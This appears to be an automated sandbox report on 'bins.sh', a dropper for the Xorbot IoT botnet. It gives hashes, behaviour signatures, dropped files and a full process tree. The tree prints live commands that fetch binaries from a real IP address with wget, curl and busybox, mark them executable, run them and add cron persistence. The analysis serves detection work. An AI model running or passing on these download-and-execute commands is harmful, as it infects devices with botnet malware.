Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2024, 17:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26c147f3c53daa20ad5513d299f09a9b

  • SHA1

    dc48cbc8f77f2f2ddc3adfd3f82f7d62f9f63199

  • SHA256

    c0f7db59299494b43e471d79920405ed4351ca6dc8d312e8b5b7bef5c588e570

  • SHA512

    e5a1accbd6418b2ae9e53a6980a9d178868ae02e44dd84a280e61c8d28aa70ca312b0a17febb36374503716d55ca0b66a5d782caaf13009ddcc0ced11e3a6e78

  • SSDEEP

    192:lvxMZOulYwDfXvYwsM8Y6l1ClVPciOumMDfXvYwh8Y6l10I:lvxMZYhM8Y6l1QVPc7y8Y6l1H

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1239) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:758
        • /bin/chmod
          chmod 777 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • File and Directory Permissions Modification
          PID:766
        • /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          ./nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Executes dropped EXE
          PID:767
        • /bin/rm
          rm nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
            PID:770
          • /usr/bin/wget
            wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:772
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:824
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:825
          • /bin/chmod
            chmod 777 XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • File and Directory Permissions Modification
            PID:826
          • /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            ./XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Executes dropped EXE
            PID:827
          • /bin/rm
            rm XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
              PID:829
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:830
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:831
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:832
            • /bin/chmod
              chmod 777 GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • File and Directory Permissions Modification
              PID:833
            • /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              ./GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Executes dropped EXE
              PID:834
            • /bin/rm
              rm GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
                PID:836
              • /usr/bin/wget
                wget http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Writes file to tmp directory
                PID:837
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Writes file to tmp directory
                PID:838
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Writes file to tmp directory
                PID:839
              • /bin/chmod
                chmod 777 uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • File and Directory Permissions Modification
                PID:840
              • /tmp/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                ./uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Executes dropped EXE
                PID:841
              • /bin/rm
                rm uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                  PID:843
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Writes file to tmp directory
                  PID:844
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Writes file to tmp directory
                  PID:845
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Writes file to tmp directory
                  PID:846
                • /bin/chmod
                  chmod 777 TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  ./TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                    PID:850
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    ./Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      ./K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        ./rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:869
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:871
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:872
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:873
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:874
                            • /bin/rm
                              rm rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                              2⤵
                                PID:876
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                2⤵
                                  PID:879
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                  2⤵
                                    PID:880
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:881
                                  • /bin/chmod
                                    chmod 777 qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:966
                                  • /tmp/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                    ./qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                    2⤵
                                    • Executes dropped EXE
                                    PID:967
                                  • /bin/rm
                                    rm qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                    2⤵
                                      PID:969
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                      2⤵
                                        PID:970
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                        2⤵
                                          PID:971
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:972
                                        • /bin/chmod
                                          chmod 777 mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:974
                                        • /tmp/mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                          ./mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                          2⤵
                                          • Executes dropped EXE
                                          PID:975
                                        • /bin/rm
                                          rm mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4
                                          2⤵
                                            PID:977
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/d17kprykv6cbulVrNcCIYDe89xazQb85hF
                                            2⤵
                                              PID:978
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/d17kprykv6cbulVrNcCIYDe89xazQb85hF
                                              2⤵
                                                PID:979

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /tmp/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405

                                                    Filesize

                                                    141KB

                                                    MD5

                                                    3ca8decdb1e52c423c521bfff02ac200

                                                    SHA1

                                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                    SHA256

                                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                    SHA512

                                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                  • /tmp/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq

                                                    Filesize

                                                    127KB

                                                    MD5

                                                    89077b7bd4bcafca7713be43635c4862

                                                    SHA1

                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                    SHA256

                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                    SHA512

                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                  • /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI

                                                    Filesize

                                                    117KB

                                                    MD5

                                                    849fa04ef88a8e8de32cb2e8538de5fe

                                                    SHA1

                                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                    SHA256

                                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                    SHA512

                                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                  • /tmp/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ

                                                    Filesize

                                                    112KB

                                                    MD5

                                                    05d7857dcead18bbd86d2935f591873c

                                                    SHA1

                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                    SHA256

                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                    SHA512

                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                  • /tmp/mCyfsPyg17s9T1j8Dg11aX9TfZM3WndJL4

                                                    Filesize

                                                    107KB

                                                    MD5

                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                    SHA1

                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                    SHA256

                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                    SHA512

                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                  • /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem

                                                    Filesize

                                                    98KB

                                                    MD5

                                                    5141342d0df8699fa32a6b066a0c592e

                                                    SHA1

                                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                    SHA256

                                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                    SHA512

                                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                  • /tmp/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO

                                                    Filesize

                                                    122KB

                                                    MD5

                                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                                    SHA1

                                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                    SHA256

                                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                    SHA512

                                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                  • /tmp/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    6c583043d91c55aa470c08c87058e917

                                                    SHA1

                                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                                    SHA256

                                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                    SHA512

                                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                  • /tmp/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq

                                                    Filesize

                                                    119KB

                                                    MD5

                                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                                    SHA1

                                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                    SHA256

                                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                    SHA512

                                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                  • /var/spool/cron/crontabs/tmp.OddHzk

                                                    Filesize

                                                    210B

                                                    MD5

                                                    fa99398804ad8962cf168d3b6584116a

                                                    SHA1

                                                    c73a5ecfc906dd641fad1742b244f244124cf063

                                                    SHA256

                                                    b89a7f017bd791921c0300a35bb85497804f009323e6b5906042144e73680a37

                                                    SHA512

                                                    a034c9c0ccd8df3a1683864e0b0b5ef4c2bb6f999d4df5bff7b764b31f1f941867938499adce35bdd309cb46ea4ecd2ea9cfe27a78217c81d17786b95d0d8e7c